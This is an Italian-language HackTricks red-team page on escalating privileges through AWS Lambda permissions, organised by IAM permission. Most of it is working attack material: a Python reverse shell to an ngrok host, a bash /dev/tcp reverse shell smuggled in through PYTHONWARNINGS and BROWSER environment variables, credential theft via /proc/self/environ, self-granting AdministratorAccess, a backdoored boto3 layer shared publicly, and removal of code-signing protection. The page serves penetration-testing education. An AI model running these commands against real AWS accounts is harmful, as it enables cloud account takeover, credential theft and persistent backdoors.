AWS - Lambda Privesc

Reading time: 13 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

lambda

Maggiori informazioni su lambda in:

AWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

Gli utenti con i permessi iam:PassRole, lambda:CreateFunction, e lambda:InvokeFunction possono elevare i loro privilegi.
Possono creare una nuova Lambda function e assegnarle un IAM role esistente, concedendo alla function i permessi associati a quel ruolo. L'utente può poi scrivere e caricare codice su questa Lambda function (ad esempio con una rev shell).
Una volta configurata la function, l'utente può attivarne l'esecuzione e le azioni previste invocando la Lambda function tramite l'AWS API. Questo approccio permette all'utente di eseguire compiti indirettamente attraverso la Lambda function, operando con il livello di accesso concesso all'IAM role ad essa associato.\

Un attacker potrebbe abusarne per ottenere una rev shell e rubare il token:

rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
bash
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

Puoi anche abusare dei permessi del ruolo lambda dalla stessa funzione lambda.
Se il ruolo lambda avesse permessi sufficienti, potresti usarlo per concederti diritti di amministratore:

python
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

È inoltre possibile effettuare un leak delle credenziali del ruolo della lambda senza bisogno di una connessione esterna. Questo sarebbe utile per Network isolated Lambdas usate per attività interne. Se ci sono security groups sconosciuti che filtrano i tuoi reverse shells, questo pezzo di codice ti permetterà di effettuare direttamente il leak delle credenziali come output della lambda.

python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
bash
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

Impatto potenziale: Privesc diretto sul ruolo di servizio lambda arbitrario specificato.

caution

Nota che, anche se può sembrare interessante lambda:InvokeAsync non consente da sola di eseguire aws lambda invoke-async, è necessario anche lambda:InvokeFunction

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

Come nello scenario precedente, puoi assegnarti la permission lambda:InvokeFunction se disponi della permission lambda:AddPermission

bash
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

Impatto potenziale: Privesc diretto al ruolo di servizio lambda arbitrario specificato.

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

Utenti con le autorizzazioni iam:PassRole, lambda:CreateFunction e lambda:CreateEventSourceMapping (e potenzialmente dynamodb:PutItem e dynamodb:CreateTable) possono indirettamente escalate privileges anche senza lambda:InvokeFunction.\
Possono creare una Lambda function con codice malevolo e assegnarle un ruolo IAM esistente.

Anziché invocare direttamente la Lambda, l'utente crea o utilizza una tabella DynamoDB esistente, collegandola alla Lambda tramite un event source mapping. Questa configurazione garantisce che la Lambda function venga attivata automaticamente all'inserimento di un nuovo item nella tabella, sia per azione dell'utente sia per un altro processo, invocando così indirettamente la Lambda e eseguendo il codice con le autorizzazioni del ruolo IAM passato.

bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

Se DynamoDB è già attivo nell'ambiente AWS, l'utente deve solo stabilire l'event source mapping per la Lambda function. Tuttavia, se DynamoDB non è in uso, l'utente deve creare una nuova tabella con lo streaming abilitato:

bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

Ora è possibile connettere la Lambda function alla DynamoDB table creando un event source mapping:

bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

Con la funzione Lambda collegata allo stream di DynamoDB, l'attaccante può indirettamente attivare la Lambda tramite l'attivazione dello stream di DynamoDB. Questo può essere ottenuto inserendo un item nella tabella DynamoDB:

bash
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

Impatto potenziale: privesc diretto al ruolo di servizio lambda specificato.

lambda:AddPermission

Un attacker con questo permesso può concedersi (o concedere ad altri) qualsiasi permesso (questo genera resource based policies per concedere accesso alla risorsa):

bash
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout

Potential Impact: Privesc diretto al ruolo di servizio lambda ottenuto concedendo il permesso di modificare il codice ed eseguirlo.

lambda:AddLayerVersionPermission

Un attacker con questa autorizzazione può concedersi (o concedere ad altri) il permesso lambda:GetLayerVersion. Potrebbe accedere al layer e cercare vulnerabilità o informazioni sensibili

bash
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

Impatto potenziale: Potenziale accesso a informazioni sensibili.

lambda:UpdateFunctionCode

Gli utenti che hanno il permesso lambda:UpdateFunctionCode possono modify the code of an existing Lambda function that is linked to an IAM role.
L'attaccante può modify the code of the lambda to exfiltrate the IAM credentials.

Sebbene l'attaccante potrebbe non avere la capacità diretta di invocare la funzione, se la Lambda function è preesistente e operativa, è probabile che venga attivata tramite flussi di lavoro o eventi esistenti, facilitando così indirettamente l'esecuzione del codice modificato.

bash
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

Impatto potenziale: Direct privesc al ruolo di servizio lambda utilizzato.

lambda:UpdateFunctionConfiguration

RCE via env variables

Con queste autorizzazioni è possibile aggiungere environment variables che faranno eseguire al Lambda codice arbitrario. Ad esempio, in python è possibile abusare delle environment variables PYTHONWARNING e BROWSER per far eseguire a un processo python comandi arbitrari:

bash
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"

Per altri linguaggi di scripting esistono altre variabili d'ambiente che puoi usare. Per maggiori informazioni consulta le sottosezioni dei linguaggi di scripting in:

macOS Process Abuse - HackTricks

RCE tramite Lambda Layers

Lambda Layers permette di includere code nella tua lambda function ma storing it separately, quindi il codice della funzione può restare piccolo e several functions can share code.

All'interno di lambda puoi controllare i percorsi da cui viene caricato il python code con una funzione come la seguente:

python
import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

Questi sono i percorsi:

  1. /var/task
  2. /opt/python/lib/python3.7/site-packages
  3. /opt/python
  4. /var/runtime
  5. /var/lang/lib/python37.zip
  6. /var/lang/lib/python3.7
  7. /var/lang/lib/python3.7/lib-dynload
  8. /var/lang/lib/python3.7/site-packages
  9. /opt/python/lib/python3.7/site-packages
  10. /opt/python

Per esempio, la libreria boto3 viene caricata da /var/runtime/boto3 (4ª posizione).

Sfruttamento

È possibile abusare del permesso lambda:UpdateFunctionConfiguration per aggiungere un nuovo layer a una funzione lambda. Per eseguire codice arbitrario questo layer deve contenere qualche libreria che la lambda importerà. Se puoi leggere il codice della lambda, puoi scoprirlo facilmente; nota anche che potrebbe essere possibile che la lambda stia già usando un layer e tu possa scaricare il layer e aggiungere il tuo codice lì dentro.

Per esempio, supponiamo che la lambda stia usando la libreria boto3, questo creerà un layer locale con l'ultima versione della libreria:

bash
pip3 install -t ./lambda_layer boto3

Puoi aprire ./lambda_layer/boto3/__init__.py e aggiungere la backdoor nel codice globale (una funzione per exfiltrate credentials o ottenere una reverse shell, ad esempio).

Poi, zip la directory ./lambda_layer e carica il nuovo lambda layer nel tuo account (o in quello della vittima, ma potresti non avere i permessi per farlo).
Nota che devi creare una cartella python e mettere le librerie lì per sovrascrivere /opt/python/boto3. Inoltre, il layer deve essere compatible with the python version usata dalla lambda e se lo carichi nel tuo account, deve essere nella same region:

bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

Ora rendi il lambda layer caricato accessibile da qualsiasi account:

bash
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

Quindi allega il lambda layer alla victim lambda function:

bash
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

Il passo successivo sarebbe o invocare la funzione noi stessi se possibile oppure aspettare che venga invocata dai normali meccanismi — che è il metodo più sicuro.

Un modo più stealth per sfruttare questa vulnerabilità si trova in:

AWS - Lambda Layers Persistence

Impatto potenziale: Privesc diretto al ruolo di servizio lambda utilizzato.

iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

Forse con questi permessi riesci a creare una funzione ed eseguirla chiamando l'URL... ma non sono riuscito a trovare un modo per testarlo, quindi fammi sapere se ci riesci!

Lambda MitM

Alcune lambda riceveranno informazioni sensibili dagli utenti nei parametri. Se ottieni RCE in una di esse, puoi esfiltrare le informazioni che altri utenti le inviano; vedi:

AWS - Lambda Steal Requests

Riferimenti

lambda:DeleteFunctionCodeSigningConfig or lambda:PutFunctionCodeSigningConfig + lambda:UpdateFunctionCode — Bypass Lambda Code Signing

Se una funzione lambda applica il code signing, un attacker che può rimuovere la Code Signing Config (CSC) o degradarla a WARN può deployare codice non firmato nella funzione. Questo bypassa le protezioni di integrità senza modificare il ruolo IAM della funzione o i trigger.

Permissions (one of):

  • Path A: lambda:DeleteFunctionCodeSigningConfig, lambda:UpdateFunctionCode
  • Path B: lambda:CreateCodeSigningConfig, lambda:PutFunctionCodeSigningConfig, lambda:UpdateFunctionCode

Note:

  • Per Path B, non serve un profilo AWS Signer se la policy del CSC è impostata su WARN (unsigned artifacts allowed).

Passaggi (REGION=us-east-1, TARGET_FN=):

Prepara un piccolo payload:

bash
cat > handler.py <<'PY'
import os, json
def lambda_handler(event, context):
return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py

Percorso A) Rimuovi CSC, quindi aggiorna il codice:

bash
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
fi
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION

Percorso B) Downgrade a Warn e aggiorna il codice (se delete non è consentito):

bash
CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION

Verifica:

bash
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json

Impatto potenziale: Possibilità di caricare ed eseguire codice arbitrario non firmato in una funzione che avrebbe dovuto imporre signed deployments, potenzialmente portando all'esecuzione di codice con i permessi del ruolo della funzione.

Pulizia:

bash
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks